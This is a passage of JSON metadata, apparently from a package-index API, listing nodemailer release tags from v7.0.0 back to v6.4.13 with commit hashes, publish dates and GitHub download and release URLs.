0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v7.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v7.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v7.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v7.0.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v7.0.0"},{"name":"v6.10.1","sha":"e1d9123eabe40cad6ff005485f70c903375a0ab5","kind":"commit","published_at":"2025-04-13T03:34:35.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.10.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.10.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v6.10.1"},{"name":"v6.10.0","sha":"08567963402066848f840163930239fea6c89ddd","kind":"commit","published_at":"2025-01-23T07:11:20.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.10.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.10.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v6.10.0"},{"name":"v6.9.16","sha":"e70b9c18bd4ba14d500197fa1614ed37f5536446","kind":"commit","published_at":"2024-10-28T10:35:16.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.9.16","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.9.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.9.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.9.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.9.16/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v6.9.16"},{"name":"v6.9.15","sha":"81de9ebaeb84d5dd87a16707fd236d2671cb6cc6","kind":"commit","published_at":"2024-09-03T15:56:00.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.9.15","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.9.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.9.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.9.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.9.15/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v6.9.15"},{"name":"v6.9.14","sha":"f9a92ed5cbaa3ab2e5e17770ccfd5df506643ba5","kind":"commit","published_at":"2024-06-19T14:12:36.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.9.14","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.9.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.9.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.9.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.9.14/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v6.9.14"},{"name":"v6.9.13","sha":"fa63b52d8a03da49a60c00b6c073a0d77aeababb","kind":"commit","published_at":"2024-03-20T10:12:29.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.9.13","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.9.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.9.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.9.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.9.13/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v6.9.13"},{"name":"v6.9.12","sha":"1fcd1030daf41d0d3fd627fd4567eee3eb02dfc6","kind":"commit","published_at":"2024-03-08T18:25:07.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.9.12","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.9.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.9.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.9.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.9.12/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v6.9.12"},{"name":"v6.9.11","sha":"2002282035a0c11435c7f0cfb3f8318f3c718837","kind":"commit","published_at":"2024-02-29T09:09:57.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.9.11","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.9.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.9.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.9.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.9.11/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v6.9.11"},{"name":"v6.9.10","sha":"ade59e05dc011280e1789988bf03eb0b34e34ad7","kind":"commit","published_at":"2024-02-22T07:46:42.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.9.10","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.9.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.9.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.9.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.9.10/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v6.9.10"},{"name":"v6.9.9","sha":"5a2e10f454e3a02e0ee48d6a7be04e21cafa76ca","kind":"commit","published_at":"2024-02-01T11:56:07.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.9.9","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.9.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.9.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.9.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.9.9/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v6.9.9"},{"name":"v6.9.8","sha":"4233f6f89e5d432ade6b6d3e5c578996ddeb831e","kind":"commit","published_at":"2023-12-30T19:48:10.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.9.8","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.9.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.9.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.9.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.9.8/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v6.9.8"},{"name":"v6.9.7","sha":"879e5624f8f4f2ce3fc031aaf5c303118888ef9d","kind":"commit","published_at":"2023-10-22T10:03:49.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.9.7","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.9.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.9.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.9.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.9.7/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v6.9.7"},{"name":"v6.9.6","sha":"9da77b689a07088b87946adc55c3a26256899c7b","kind":"commit","published_at":"2023-10-09T11:22:06.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.9.6","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.9.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.9.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.9.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.9.6/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v6.9.6"},{"name":"v6.9.5","sha":"fdc7c27bd20d475462c2102de7a820b97e22222d","kind":"commit","published_at":"2023-09-06T07:24:11.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.9.5","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.9.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.9.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.9.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.9.5/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v6.9.5"},{"name":"v6.9.4","sha":"286dc284145887c72d383df5ab656e224ae48fa2","kind":"commit","published_at":"2023-07-19T09:26:31.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.9.4","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.9.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.9.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.9.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.9.4/manifests","release_url":null},{"name":"v6.9.3","sha":"551c7b60052ec7dd08291dc844a8af53215e488e","kind":"commit","published_at":"2023-05-29T07:36:07.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.9.3","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.9.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.9.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.9.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.9.3/manifests","release_url":null},{"name":"v6.9.2","sha":"19fce2dc4dcb83224acaf1cfc890d08126309594","kind":"commit","published_at":"2023-05-11T13:57:44.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.9.2","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.9.2/manifests","release_url":null},{"name":"v6.9.1","sha":"e3cc93a9c20939b209c804857c75aea0d3305913","kind":"commit","published_at":"2023-01-27T09:42:00.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.9.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.9.1/manifests","release_url":null},{"name":"v6.9.0","sha":"24632036fb38cf6dc4eea3825adf84387910e393","kind":"commit","published_at":"2023-01-12T08:05:59.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.9.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.9.0/manifests","release_url":null},{"name":"v6.8.0","sha":"0a22b615b16e2497001bd0cce920cf062765937e","kind":"commit","published_at":"2022-09-28T16:57:56.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.8.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.8.0/manifests","release_url":null},{"name":"v6.7.8","sha":"a2d8798c8ee1bdb567de7e40ee26b8351061582f","kind":"commit","published_at":"2022-08-11T19:48:19.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.7.8","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.7.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.7.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.7.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.7.8/manifests","release_url":null},{"name":"v6.7.7","sha":"585b12a6a040eb89769f73a8e8ff148e4b292706","kind":"commit","published_at":"2022-07-06T12:07:51.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.7.7","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.7.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.7.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.7.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.7.7/manifests","release_url":null},{"name":"v6.7.6","sha":"3e0578d0c883a65134a5ecec07e775c25a91ec8e","kind":"commit","published_at":"2022-06-30T12:15:09.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.7.6","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.7.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.7.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.7.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.7.6/manifests","release_url":null},{"name":"v6.7.5","sha":"38e5773826ddc0ab2355557bcd2db38b9e8aac09","kind":"commit","published_at":"2022-05-04T06:28:02.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.7.5","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.7.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.7.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.7.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.7.5/manifests","release_url":null},{"name":"v6.7.4","sha":"8106f9f8aaedc3870bb89ae7684fe79ad0f43367","kind":"commit","published_at":"2022-04-28T21:51:28.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.7.4","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.7.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.7.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.7.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.7.4/manifests","release_url":null},{"name":"v6.7.3","sha":"4662168859fa1f0f4582a70ef4fc5679b6da7a9b","kind":"commit","published_at":"2022-03-21T09:13:21.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.7.3","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.7.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.7.3/manifests","release_url":null},{"name":"v6.7.2","sha":"368f545753b92f1954c0c98c5f151ac38afb1f0d","kind":"commit","published_at":"2021-11-26T10:05:03.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.7.2","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.7.2/manifests","release_url":null},{"name":"v6.7.1","sha":"ccead5d6a91b4052bb295dbf1c9145b538a7a142","kind":"commit","published_at":"2021-11-15T07:00:51.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.7.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.7.1/manifests","release_url":null},{"name":"v6.7.0","sha":"efc394754571c5986ef6d9c3ed56c1e2d1944531","kind":"commit","published_at":"2021-10-11T11:04:33.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.7.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.7.0/manifests","release_url":null},{"name":"v6.6.5","sha":"b7498993b991eee5fcbb3e1c0801dc5a2d5369ed","kind":"commit","published_at":"2021-09-23T12:09:23.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.6.5","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.6.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.6.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.6.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.6.5/manifests","release_url":null},{"name":"v6.6.4","sha":"420244fea13cabed222f2a4c3244cb9b8af69965","kind":"commit","published_at":"2021-09-23T08:34:21.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.6.4","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.6.4/manifests","release_url":null},{"name":"v6.6.3","sha":"b71e63ed2f8071a7800e982a3f1e1f2e07eea94f","kind":"commit","published_at":"2021-07-14T10:23:13.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.6.3","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.6.3/manifests","release_url":null},{"name":"v6.6.1","sha":"7e02648cc8cd863f5085bad3cd09087bccf84b9f","kind":"commit","published_at":"2021-05-23T10:18:53.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.6.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.6.1/manifests","release_url":null},{"name":"v6.6.0","sha":"1750c0ff89ab79161f722b0cd35381cbc39fee46","kind":"commit","published_at":"2021-04-28T09:22:28.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.6.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.6.0/manifests","release_url":null},{"name":"v6.5.0","sha":"91108d787e6f4e6b9f4d1a82b418666ac76a6764","kind":"commit","published_at":"2021-02-26T08:44:58.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.5.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.5.0/manifests","release_url":null},{"name":"v6.4.18","sha":"9b5fb94767c6d9ba0851dc487b5b4a2842cdae75","kind":"commit","published_at":"2021-02-11T13:30:00.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.4.18","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.4.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.4.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.4.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.4.18/manifests","release_url":null},{"name":"v6.4.17","sha":"6e045d179f8c6d5b1162863e3e995772c48faaf3","kind":"commit","published_at":"2020-12-11T10:34:48.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.4.17","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.4.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.4.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.4.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.4.17/manifests","release_url":null},{"name":"v6.4.16","sha":"ba31c64c910d884579875c52d57ac45acc47aa54","kind":"commit","published_at":"2020-11-12T08:03:18.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.4.16","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.4.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.4.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.4.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.4.16/manifests","release_url":null},{"name":"v6.4.15","sha":"7e7b2b23ed9a56ce60245bf1c7a444e5981a259b","kind":"commit","published_at":"2020-11-06T12:53:04.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.4.15","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.4.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.4.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.4.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.4.15/manifests","release_url":null},{"name":"v6.4.14","sha":"1815badec2ca1cf496a9fb728e0e941e8e16b65b","kind":"commit","published_at":"2020-10-14T06:04:38.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.4.14","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.4.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.4.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.4.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.4.14/manifests","release_url":null},{"name":"v6.4.13","sha":"dd26ddd9857280897a4e54ef16f037dfe8c62151","kind":"commit","published_at":"2020-10-02T07:42:21.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.4.13","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.4.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.4.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.4.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.4.13/manifests","release_url":null},{"name"